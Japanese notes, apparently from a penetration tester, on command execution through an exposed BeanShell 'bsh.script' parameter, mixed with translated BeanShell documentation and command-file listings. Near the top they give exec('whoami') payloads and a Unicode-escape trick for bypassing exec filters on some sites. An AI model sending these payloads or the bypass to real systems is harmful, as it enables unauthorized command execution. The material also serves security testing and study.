ターゲットシステムのos.nameを検出する（ターゲットがWindowsの場合、setなどのコマンドを実行するには、手動でcmd.exe /c setと入力する必要がある）
Unicodeを使用してexecフィルタをバイパスする（一部のサイト）

bsh.script=exec('whoami');

>>>>unicode bypass

bsh.script=\u0065\u0078\u0065\u0063("whoami");

前述の例では、値を表示するために、print()と呼ばれる便利な「組み込み」のBeanShellコマンドを使用しました。

print()は、出力が常にコマンドラインに送られることを保証する点を除いて、System.out.println()とほぼ同じことを行います。また、print()はJavaよりも一部の種類のオブジェクト（配列など）を詳細に表示します。

関連するもう1つのコマンドにshow()があります。これは、入力した各行の結果の自動表示をオン/オフします。

source(), run() - bshスクリプトをこのインタプリタに読み込むか、新しいインタプリタで実行する
frame() - GUIコンポーネントをFrameまたはJFrameで表示する。
load(), save() - シリアライズ可能なオブジェクトをファイルにロードまたは保存する。
cd(), cat(), dir(), pwd()など - Unix系シェルコマンド
exec() - ネイティブアプリケーションを実行する
javap() - Javaのjavapコマンドの出力と同様に、オブジェクトのメソッドとフィールドを出力する。
setAccessibility() - privateおよびprotectedコンポーネントへの無制限アクセスを有効にする。

.//object.bsh
.//rm.bsh
.//run.bsh
.//print.bsh
.//pwd.bsh
.//error.bsh
.//cat.bsh
.//setClassPath.bsh
.//setAccessibility.bsh
.//exec.bsh
.//setFont.bsh
.//dirname.bsh
.//exit.bsh
.//source.bsh
.//frame.bsh
.//cp.bsh
.//printBanner.bsh
.//browseClass.bsh
.//cd.bsh
.//which.bsh
.//setNameSpace.bsh
.//workspaceEditor.bsh
.//thinBorder.bsh
.//bind.bsh
.//bg.bsh
.//save.bsh
.//fontMenu.bsh
.//getSourceFileInfo.bsh
.//classBrowser.bsh
.//load.bsh
.//javap.bsh
.//addClassPath.bsh
.//server.bsh
.//desktop.bsh
.//importCommands.bsh
.//mv.bsh
.//setStrictJava.bsh
.//eval.bsh
.//dir.class
.//getBshPrompt.bsh
.//unset.bsh
.//show.bsh
.//getResource.bsh
.//reloadClasses.bsh
.//clear.bsh
.//getClass.bsh
.//makeWorkspace.bsh
.//importObject.bsh
.//sourceRelative.bsh
.//getClassPath.bsh
.//pathToFile.bsh
.//setNameCompletion.bsh
.//editor.bsh
.//extend.bsh
.//debug.bsh

a=5;
eval("b=a*2");
print(b);

>>>
10

cat exec.bsh      

/**
	Start an external application using the Java Runtime exec() method.
	Display any output to the standard BeanShell output using print().
*/

bsh.help.exec = "usage: exec( String arg )";

exec( String arg )
{
	this.proc = Runtime.getRuntime().exec(arg);
	this.din = new DataInputStream( proc.getInputStream() );
	while( (line=din.readLine()) != null )
		print(line);

1. exec("whoami")

2. this.proc = Runtime.getRuntime().exec("whoami");	
   this.din = new DataInputStream( proc.getInputStream() );
   while( (line=din.readLine()) != null )
   print(line);

./commands/object.bsh
>>> bsh.help.object = "usage: object()";

./commands/rm.bsh
>>> bsh.help.rm = "usage: cd( path )";

./commands/run.bsh
>>> bsh.help.run= "usage: Thread run( filename )";

./commands/run.bsh
>>> 42:	this.bsh.help=extend(bsh.help);

./commands/print.bsh
>>> bsh.help.print = "usage: print( value )";

./commands/cat.bsh
>>> bsh.help.cat = "usage: cat( filename )";

./commands/setClassPath.bsh
>>> bsh.help.setClassPath= "usage: setClassPath( URL [] )";

./commands/exec.bsh
>>> bsh.help.exec = "usage: exec( String arg )";

./commands/setFont.bsh
>>> bsh.help.setFont = "usage: setFont( Component comp, int size )";

./commands/dirname.bsh
>>> bsh.help.cd = "usage: dirname( path )";

./commands/exit.bsh
>>> bsh.help.exit = "usage: exit()";

./commands/source.bsh
>>> bsh.help.source = "usage: source( filename | URL )";

./commands/frame.bsh
>>> bsh.help.frame = "usage: frame( Component component )";

./commands/cp.bsh
>>> bsh.help.cp = "usage: cp( fromFile, toFile )";

./commands/cd.bsh
>>> bsh.help.cd = "usage: cd( path )";

./commands/which.bsh
>>> bsh.help.which= "usage: which( classIdentifier | string | class )";

./commands/setNameSpace.bsh
>>> bsh.help.setNameSpace =

./commands/bg.bsh
>>> bsh.help.run= "usage: Thread bg( filename )";

./commands/save.bsh
>>> bsh.help.save = "usage: save( object, filename )";

./commands/getSourceFileInfo.bsh
>>> bsh.help.getSourceFileInfo = "usage: getSourceFileInfo()";

./commands/load.bsh
>>> bsh.help.load = "usage: load(filename)";

./commands/javap.bsh
>>> bsh.help.javap= "usage: javap( value )";

./commands/addClassPath.bsh
>>> bsh.help.addClassPath= "usage: addClassPath( string | URL )";

./commands/server.bsh
>>> bsh.help.server = "usage: server(int port)";

./commands/importCommands.bsh
>>> bsh.help.importCommands = "usage: importCommands( string )";

./commands/mv.bsh
>>> bsh.help.mv = "usage: mv( fromFile, toFile )";

./commands/eval.bsh
>>> bsh.help.eval = "usage: eval( String expression )";

./commands/unset.bsh
>>> bsh.help.unset = "usage: unset( name )";

./commands/show.bsh
>>> bsh.help.show = "usage: show()";

./commands/getResource.bsh
>>> bsh.help.getResource = "usage: getResource( String name )";

./commands/reloadClasses.bsh
>>> bsh.help.reloadClasses=

./commands/getClass.bsh
>>> bsh.help.getClass= "usage: getClass( String name )";

./commands/importObject.bsh
>>> bsh.help.importObject = "usage: importObject( Object )";

./commands/getClassPath.bsh
>>> bsh.help.getClassPath= "usage: getClassPath()";

./commands/pathToFile.bsh
>>> bsh.help.pathToFile = "usage: File pathToFile( String )";

./commands/setNameCompletion.bsh
>>> bsh.help.setNameCompletion= "usage: setNameCompletion( boolean )";

./commands/editor.bsh
>>> bsh.help.editor = "usage: editor()";

./commands/extend.bsh
>>> bsh.help.extend= "usage: extend( This parent )";

./commands/debug.bsh
>>> bsh.help.debug = "usage: debug()";